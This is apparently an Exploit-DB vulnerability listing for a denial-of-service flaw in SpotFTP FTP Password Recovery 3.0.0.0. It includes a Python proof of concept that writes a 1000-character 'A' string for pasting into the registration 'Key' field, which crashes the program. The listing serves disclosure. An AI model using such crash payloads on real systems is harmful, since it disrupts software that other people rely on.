SpotFTP FTP Password Recovery 3.0.0.0 - 'Key' Denial of Service (PoC)

vendor:

SpotFTP FTP Password Recovery

by:

Ismail Tasdelen

5.5

CVSS

MEDIUM

Denial of Service

CWE

Product Name: SpotFTP FTP Password Recovery

Affected Version From: 3.0.0.0

Affected Version To: 3.0.0.0

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Windows 10

2020

SpotFTP FTP Password Recovery 3.0.0.0 – ‘Key’ Denial of Service (PoC)

The SpotFTP FTP Password Recovery software version 3.0.0.0 is vulnerable to a denial of service attack. By providing a specially crafted input in the 'Key' field, an attacker can cause the software to crash, resulting in a denial of service condition.

Mitigation:

The vendor has not provided any specific mitigation or remediation for this vulnerability. It is recommended to avoid using the affected version of the software or to update to a patched version if available.

Source

Exploit-DB raw data:

# Exploit Title: SpotFTP FTP Password Recovery 3.0.0.0 - 'Key' Denial of Service (PoC)
# Exploit Author : Ismail Tasdelen
# Exploit Date: 2020-01-06
# Vendor Homepage : http://www.nsauditor.com/
# Link Software : http://www.nsauditor.com/downloads/spotftp_setup.exe
# Tested on OS: Windows 10
# CVE : N/A

'''
Proof of Concept (PoC):
=======================

1.Download and install SpotFTP
2.Run the python operating script that will create a file (poc.txt)
3.Run the software "Register -> Enter Registration Code
4.Copy and paste the characters in the file (poc.txt)
5.Paste the characters in the field 'Key' and click on 'Ok'
6.SpotFTP Crashed
'''

#!/usr/bin/python
    
buffer = "A" * 1000
 
payload = buffer
try:
    f=open("poc.txt","w")
    print("[+] Creating %s bytes evil payload." %len(payload))
    f.write(payload)
    f.close()
    print("[+] File created!")
except:
    print("File cannot be created.")